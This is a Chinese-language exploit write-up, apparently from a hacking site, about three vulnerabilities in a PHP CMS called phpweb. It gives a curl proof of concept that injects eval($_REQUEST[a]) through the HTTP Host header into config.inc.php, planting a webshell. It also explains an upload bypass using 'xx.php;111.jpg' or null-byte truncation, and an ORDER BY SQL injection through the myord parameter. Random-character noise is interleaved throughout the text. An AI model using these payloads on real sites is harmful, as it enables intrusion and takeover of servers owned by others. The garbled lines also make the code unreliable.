注入:* q& z* e. t1 D8 j+ u( W
' K. ^$ R* U1 b9 k. Y+ u
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
0 G# G' P+ g9 A6 @- J1 a, L% \
9 q! |' ]4 w" T) z+ p( A. w鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件4 `$ A$ Z" m5 F3 o- x, ?
鸡肋2: 有一定安全常识的站长都会删掉 install 目录* y+ n& @& I# D- P0 X, ^0 m2 m
$ K W6 y( R3 u
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
3 g# @: S+ h3 Q" |2 i F. W+ t3 V2 {2 F
分析:& ]' d% K7 I. [* R1 ^6 L# z% l
; a# i( ~8 Z0 ~- A7 X
3 N" W; E. R+ P& w2 u0 K
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
$ I7 \; y* ?* m" W
9 R5 v/ b* a: _4 {5 l/ E0 h* n $filestr = fread(fopen($SysConfigFile, 'r'),30000);8 n3 V) w1 }" o3 E& a# y
$filestr=str_replace(" ","",$filestr);
8 U+ |% {0 b+ P, l0 u $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);7 }+ }$ f& Y6 F6 W
$filestr=str_replace("DefaultDbName",$dbname,$filestr);- ~5 g/ s' I& P7 C8 f
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
" E, S! b+ M& c! H5 A4 C $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);5 c! Z6 J( q' v* D
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);7 O2 v) R; k- I: R( W
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);" R. o" }: p! g
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);6 x; U8 N9 }5 H5 c) O
8 \$ W% g4 t9 T* V, q fwrite(fopen($ConFile,"w"),$filestr,30000);
4 n: [: g2 v0 N( g4 F) j$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
" |6 F8 e2 j9 w+ i/ Z' R
+ Z; u3 p. z/ M1 v/ f4 b0 W9 Opoc:
) \: c1 h, J4 v ^: ?9 N. w( G, y" E( g
?
/ J3 q, V) n! `$ ?" O1
U5 v. n/ `& E" M3 X9 T4 X: c# ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"0 H" M& u3 F$ X4 k, V% v9 d
shell地址: /config.inc.php9 K( [9 ?3 I2 _% S9 s8 y. m5 @
跟之前的 phpcms一样 需要远程数据库
, L; h: e$ M- u2 x+ L/ J
' j/ o; m' l/ V3 A; b& c——————————————————–- n; }( { n1 ], K* @! j/ b
上传漏洞(需要进后台):! v" Q6 K; L7 p; h B
漏洞文件: /kedit/upload_cgi/upload.php
, {% R+ W9 f5 Q: K+ L% C这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ h+ r0 x4 U0 ?
* G9 [' X4 ]3 `* E1 S* y & Y" S# d9 x% V# c( B
<?php
# L4 W/ B* o+ A& y, I define("ROOTPATH", "../../");
& P$ y& g5 d. W. z& T) u include(ROOTPATH."includes/admin.inc.php");
y6 D$ Y8 k( y1 @ f0 f NeedAuth(0); g7 L" J$ V! J& Q
+ w U) }0 n% w/ W) q7 x $dt=date("Ymd",time());- _# i4 [/ @4 w( s
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
$ {; g3 n4 J) ~ @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);) T- a/ E. x2 T3 P0 {
}0 D0 n, R4 A! ^5 B
" X" [, |' F& X //文件保存目录路径& N+ U# q/ Z) u8 N
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% X$ F+ W0 R k# u echo $save_path;" \* y) h, E+ O W
//文件保存目录URL
* q) P# L* F( y- y( h. I/ W' L+ ] $save_url = '../../'.$_POST['attachPath'].$dt.'/';3 ^5 d6 `: l# Z: ~2 k
. M6 H$ _3 ]" D; Q7 F, j //定义允许上传的文件扩展名$ t6 \; J; H% H. ?7 f
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
: m; y; |0 J4 T e0 G$ D * A% T) M) ?- @/ S1 z
//最大文件大小
5 Z+ f3 J" x( q( ]: p, r7 X $max_size = 1000000;
6 g3 [) m( E5 l0 X8 v [5 o
5 ?* d7 j$ A6 ^2 l //更改目录权限6 u, S1 Q& h- Y# Y3 z% t. U( P; H* M
@mkdir($save_path, 0777);# Y1 q: L, P& Q1 U$ ?
\' E! v/ ?9 \& E# W4 s. e E
//文件的全部路径5 M0 S7 b( x" S |0 V
$file_path = $save_path.$_POST['fileName']; //保存文件名, ?9 o$ S; n: g6 k8 k* k- \
% G: I* a& d7 x
//文件URL3 D) n, B. q, c% D% q
$file_url = $save_url.$_POST['fileName'];
1 h. U9 K$ c( o; I! ?! E//有上传文件时5 r( E( I- G! X. x0 ?" F) S
if (empty($_FILES) === false) {
- z. F3 C9 \$ s1 w : {7 Q) \5 v1 [: N6 [3 z
//原文件名
! v+ C1 {- P% K# j9 q, H; r) X $file_name = $_FILES['fileData']['name'];
: ~) U# |+ |) ~5 v: g) N, Q //服务器上临时文件名
: I. d3 f/ `1 M5 U- P2 C $tmp_name = $_FILES['fileData']['tmp_name'];
: C$ }( F4 l7 z$ E; S2 y //文件大小
; l, n: \0 [3 J _7 i! r2 } $file_size = $_FILES['fileData']['size'];; a" ^! Q- C2 ~9 ~! ^8 s1 |2 w) i/ }* j
//检查目录+ `+ V& E3 }% }; b
if (@is_dir($save_path) === false) {( f& m# H. P) k" k9 f
alert("上传目录不存在。");
s/ {0 F9 o1 R5 R }8 O1 E% g" B$ f: w9 Q/ {
//检查目录写权限
" u M0 D' ^4 U( z% ~5 ? if (@is_writable($save_path) === false) {
- }. s6 A! p: o: s alert("上传目录没有写权限。");
+ ?7 P4 \1 n; X }
8 ]0 E4 K3 ^9 k //检查是否已上传! A5 A" |: w# `: u" r2 `
if (@is_uploaded_file($tmp_name) === false) {
& k* @ q. X, P# t: S alert("临时文件可能不是上传文件。");# p8 d- m4 R4 N$ b5 l
}
- j* j3 r% X) L4 {6 _" ?* W- e //检查文件大小" x7 P8 D" {1 ~3 w8 J& B1 p
if ($file_size > $max_size) {
* b5 S6 R6 t8 N, ]" f alert("上传文件大小超过限制。");
+ {' ]) [1 T7 P- O* B }
2 Z( E _0 K, ] //获得文件扩展名
$ n7 m' g1 U" h8 b0 h/ [ $temp_arr = explode(".", $_POST['fileName']);
0 j% O& F/ k0 a3 J! k- l8 x $file_ext = array_pop($temp_arr);7 G/ T) ] |6 |7 X# D& L9 ^
$file_ext = trim($file_ext);
! p8 h& @% e3 K0 g- A $file_ext = strtolower($file_ext);
. o3 T% R, A* c& H! H
& k( k2 ]) b8 ^1 A; b' ` //检查扩展名
O$ y i @% M7 D4 l if (in_array($file_ext, $ext_arr) === false) { $ M7 F4 N, r! R
alert("上传文件扩展名是不允许的扩展名。");5 T6 G& m3 q& H7 s" U* s. _! F
}4 ]/ Q% `/ Y4 t- ~
4 m; e6 K' V1 ], Z //移动文件 ( m* G5 P: _& i3 I
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^9 |0 p9 o& }! X: w2 r2 A: ]0 r
if (move_uploaded_file($tmp_name, $file_path) === false) {. X4 Y3 Y" B0 g- {
alert("上传文件失败。");2 e+ I$ f6 L6 |% W. A3 M# j
}
7 }) Y: j: |2 q6 v9 _ N% z8 N * r- J+ \9 |6 B' _$ ]4 ?- V
@chmod($file_path,0666);7 {* c3 V, Q5 m+ t! j: f
* S# {6 V, C0 u# ~& A" o. k4 f4 p- v ?>6 r% x2 j$ k/ E
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227( w1 F, k e9 j: e* r: J
! x8 J `" ~% k+ D$ L) b9 y l$ E
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
5 q8 W4 [+ [" k/ I5 |4 | ! Z7 N1 g. w- A/ V- r% `: w
——————————————————' _2 q; [% H( O# Q! N- [& Y
注入漏洞:# A( ^; t2 A" F! p2 F
漏洞文件:search/module/search.php
# `8 D$ g: c& _+ H- W! Y4 {$ P/search/index.php?key=1&myord=1 [sqlinjection]
$ z3 p \4 Q1 B: d
) @7 U( ]- ?) a " n. S( |1 P P( n4 e
<?php6 J( e$ S! r, `1 S) @0 j
// ... 省略 n 行...5 |9 }( I8 S- c0 I1 {
//第18行:: r! J0 |' z; |
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
9 M3 y& n( Q4 [$ ^2 E4 Y $page=htmlspecialchars($_GET["page"]);% k6 o0 N7 M8 L& [" @$ M
$myord=htmlspecialchars($_GET["myord"]);4 U8 S! _3 f! a, t6 y% |) d$ u, N
9 `# Q6 s) \# X9 B, I+ E // ... 省略 n 行..., u- M; K; r) w
$key,$myord 两个参数带入查询$ k2 T. @& d: t
//第47行 $key:: o9 b, _; x0 |) z$ Y% u0 w
0 {! _* M+ M* g$ A $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
3 W! |* w u; M% x @
- S( P4 F5 r7 R: T //第197行 $myord [7 M0 j% ~! d! L
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入 r; R2 l$ r' ?3 ^, }2 L
5 n6 G- L2 g' n$ a ?>
( C! i3 u7 l+ \5 S5 U |